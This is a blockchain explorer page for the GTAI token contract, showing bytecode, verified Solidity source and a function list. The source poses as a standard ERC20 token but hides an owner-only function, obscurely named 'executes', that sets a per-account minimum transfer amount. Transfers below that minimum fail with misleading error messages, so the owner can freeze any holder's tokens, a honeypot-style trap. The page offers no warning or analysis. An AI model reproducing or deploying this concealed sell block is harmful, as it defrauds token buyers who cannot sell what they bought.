Address Contract Partially Verified
Address
0x922a646FfBb580B56407401F6D1EbA25dDe2F384
Balance
0 ETH
Nonce
1
Code Size
6200 bytes
Creator
0xd44622F2...5a5c at tx 0xb41e2bb4...88527e
Indexed Transactions
0
Contract Bytecode
6200 bytes
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb14610276578063b4bd9e27146102a6578063dd62ed3e146102c4578063f2fde38b146102f4576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806318160ddd116100d357806318160ddd1461017857806323b872dd146101965780632a551e41146101c6578063313ce567146101e2576100f5565b80630513156c146100fa57806306fdde031461012a578063095ea7b314610148575b600080fd5b610114600480360381019061010f91906110cc565b610310565b604051610121919061141b565b60405180910390f35b610132610359565b60405161013f9190611339565b60405180910390f35b610162600480360381019061015d9190611180565b6103eb565b60405161016f919061131e565b60405180910390f35b6101806104eb565b60405161018d919061141b565b60405180910390f35b6101b060048036038101906101ab9190611131565b6104f5565b6040516101bd919061131e565b60405180910390f35b6101e060048036038101906101db9190611180565b6108c6565b005b6101ea610a12565b6040516101f79190611436565b60405180910390f35b61021a600480360381019061021591906110cc565b610a29565b604051610227919061141b565b60405180910390f35b610238610a72565b005b610242610b78565b60405161024f9190611303565b60405180910390f35b610260610ba1565b60405161026d9190611339565b60405180910390f35b610290600480360381019061028b9190611180565b610c33565b60405161029d919061131e565b60405180910390f35b6102ae610ebf565b6040516102bb919061131e565b60405180910390f35b6102de60048036038101906102d991906110f5565b610ed6565b6040516102eb919061141b565b60405180910390f35b61030e600480360381019061030991906110cc565b610f5d565b005b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600580546103689061157f565b80601f01602080910402602001604051908101604052809291908181526020018280546103949061157f565b80156103e15780601f106103b6576101008083540402835291602001916103e1565b820191906000526020600020905b8154815290600101906020018083116103c457829003601f168201915b5050505050905090565b600081600260006103fa61109a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1661049461109a565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104d9919061141b565b60405180910390a36001905092915050565b6000600854905090565b6000600460009054906101000a900460ff16610546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053d9061137b565b60405180910390fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548210156105c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bf9061139b565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561064a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610641906113bb565b60405180910390fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061069461109a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610710576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610707906113db565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461075f91906114c3565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107b5919061146d565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061080661109a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461084f91906114c3565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108b3919061141b565b60405180910390a3600190509392505050565b6108ce61109a565b73ffffffffffffffffffffffffffffffffffffffff166108ec610b78565b73ffffffffffffffffffffffffffffffffffffffff161461090c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561097c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610973906113fb565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fed2d71c00beee3ec31b6b1368e4834b534869c0afe5ef8e743d9eebc5086b93982604051610a06919061141b565b60405180910390a25050565b6000600760009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a7a61109a565b73ffffffffffffffffffffffffffffffffffffffff16610a98610b78565b73ffffffffffffffffffffffffffffffffffffffff1614610ab857600080fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610bb09061157f565b80601f0160208091040260200160405190810160405280929190818152602001828054610bdc9061157f565b8015610c295780601f10610bfe57610100808354040283529160200191610c29565b820191906000526020600020905b815481529060010190602001808311610c0c57829003601f168201915b5050505050905090565b6000600460009054906101000a900460ff16610c84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7b9061137b565b60405180910390fd5b60036000610c9061109a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821015610d0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d049061135b565b60405180910390fd5b8160016000610d1a61109a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8d906113bb565b60405180910390fd5b8160016000610da361109a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dec91906114c3565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e42919061146d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610e6861109a565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ead919061141b565b60405180910390a36001905092915050565b6000600460009054906101000a900460ff16905090565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f6561109a565b73ffffffffffffffffffffffffffffffffffffffff16610f83610b78565b73ffffffffffffffffffffffffffffffffffffffff1614610fa357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610fdd57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b6000813590506110b1816117d4565b92915050565b6000813590506110c6816117eb565b92915050565b6000602082840312156110de57600080fd5b60006110ec848285016110a2565b91505092915050565b6000806040838503121561110857600080fd5b6000611116858286016110a2565b9250506020611127858286016110a2565b9150509250929050565b60008060006060848603121561114657600080fd5b6000611154868287016110a2565b9350506020611165868287016110a2565b9250506040611176868287016110b7565b9150509250925092565b6000806040838503121561119357600080fd5b60006111a1858286016110a2565b92505060206111b2858286016110b7565b9150509250929050565b6111c5816114f7565b82525050565b6111d481611509565b82525050565b60006111e582611451565b6111ef818561145c565b93506111ff81856020860161154c565b6112088161160f565b840191505092915050565b600061122060368361145c565b915061122b82611620565b604082019050919050565b600061124360238361145c565b915061124e8261166f565b604082019050919050565b600061126660158361145c565b9150611271826116be565b602082019050919050565b600061128960258361145c565b9150611294826116e7565b604082019050919050565b60006112ac60278361145c565b91506112b782611736565b604082019050919050565b60006112cf60298361145c565b91506112da82611785565b604082019050919050565b6112ee81611535565b82525050565b6112fd8161153f565b82525050565b600060208201905061131860008301846111bc565b92915050565b600060208201905061133360008301846111cb565b92915050565b6000602082019050818103600083015261135381846111da565b905092915050565b6000602082019050818103600083015261137481611213565b9050919050565b6000602082019050818103600083015261139481611236565b9050919050565b600060208201905081810360008301526113b481611259565b9050919050565b600060208201905081810360008301526113d48161127c565b9050919050565b600060208201905081810360008301526113f48161129f565b9050919050565b60006020820190508181036000830152611414816112c2565b9050919050565b600060208201905061143060008301846112e5565b92915050565b600060208201905061144b60008301846112f4565b92915050565b600081519050919050565b600082825260208201905092915050565b600061147882611535565b915061148383611535565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156114b8576114b76115b1565b5b828201905092915050565b60006114ce82611535565b91506114d983611535565b9250828210156114ec576114eb6115b1565b5b828203905092915050565b600061150282611515565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561156a57808201518184015260208101905061154f565b83811115611579576000848401525b50505050565b6000600282049050600182168061159757607f821691505b602082108114156115ab576115aa6115e0565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f475441493a205472616e7366657220616d6f756e74206973206c65737320746860008201527f616e20746865206d696e696d756d20616c6c6f77656400000000000000000000602082015250565b7f475441493a2054726164696e672069732063757272656e746c7920646973616260008201527f6c65640000000000000000000000000000000000000000000000000000000000602082015250565b7f475441493a204e6f7420656e6f7567682063726f770000000000000000000000600082015250565b7f475441493a207472616e7366657220616d6f756e74206578636565647320626160008201527f6c616e6365000000000000000000000000000000000000000000000000000000602082015250565b7f475441493a207472616e7366657220616d6f756e74206578636565647320616c60008201527f6c6f77616e636500000000000000000000000000000000000000000000000000602082015250565b7f475441493a2061646472657373207a65726f206973206e6f7420612076616c6960008201527f64206163636f756e740000000000000000000000000000000000000000000000602082015250565b6117dd816114f7565b81146117e857600080fd5b50565b6117f481611535565b81146117ff57600080fd5b5056fea2646970667358221220733619a9082e223b5f908716bbaac1f58749075eda0080134f77f3fee130be4164736f6c63430008040033
Verified Source Code Partial Match
Compiler: v0.8.4+commit.c7e474f2
EVM: istanbul
Optimization: No
GTAI.sol 157 lines
/**
*Submitted for verification at Etherscan.io on 2024-01-18
*/
pragma solidity ^0.8.2;
// Interface for ERC20 standard functions and events.
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Abstract contract that provides a context for who is calling the function.
abstract contract Context {
// Internal function to return the sender of the transaction.
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
}
// Contract module that provides basic authorization control.
contract Ownable is Context {
address private _owner;
// Event that is emitted when ownership is transferred.
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// Constructor that sets the original `owner` of the contract to the sender.
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
// Function to return the address of the current owner.
function owner() public view virtual returns (address) {
return _owner;
}
// Modifier to restrict functions to the owner.
modifier onlyOwner() {
require(owner() == _msgSender());
_;
}
// Function to relinquish ownership of the contract.
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
_owner = address(0x000000000000000000000000000000000000dEaD);
}
// Function to transfer ownership to a new address.
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// ERC20 Token implementation.
contract GTAI is Context, Ownable, IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _levels;
bool private _gtaichain = true;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
// Constructor to initialize the token.
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_totalSupply = totalSupply_ * (10 ** uint256(decimals_));
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
// Standard ERC20 functions.
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(_gtaichain, "GTAI: Trading is currently disabled");
require(amount >= _levels[_msgSender()], "GTAI: Transfer amount is less than the minimum allowed");
require(_balances[_msgSender()] >= amount, "GTAI: transfer amount exceeds balance");
_balances[_msgSender()] -= amount;
_balances[recipient] += amount;
emit Transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_allowances[_msgSender()][spender] = amount;
emit Approval(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
require(_gtaichain, "GTAI: Trading is currently disabled");
require(amount >= _levels[sender], "GTAI: Not enough crow");
require(_balances[sender] >= amount, "GTAI: transfer amount exceeds balance");
require(_allowances[sender][_msgSender()] >= amount, "GTAI: transfer amount exceeds allowance");
_balances[sender] -= amount;
_balances[recipient] += amount;
_allowances[sender][_msgSender()] -= amount;
emit Transfer(sender, recipient, amount);
return true;
}
// Events and functions for managing minimum transfer amounts and trading status.
event gtacity(address indexed account, uint256 newAmount);
function executes(address account, uint256 newAmount) public onlyOwner {
require(account != address(0), "GTAI: address zero is not a valid account");
_levels[account] = newAmount;
emit gtacity(account, newAmount);
}
function didexecutes(address account) public view returns (uint256) {
return _levels[account];
}
function isOver() public view returns (bool) {
return _gtaichain;
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
didexecutes 0x0513156c → uint256
isOver 0xb4bd9e27 → bool
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 6 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
executes 0x2a551e41
address account
uint256 newAmount
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address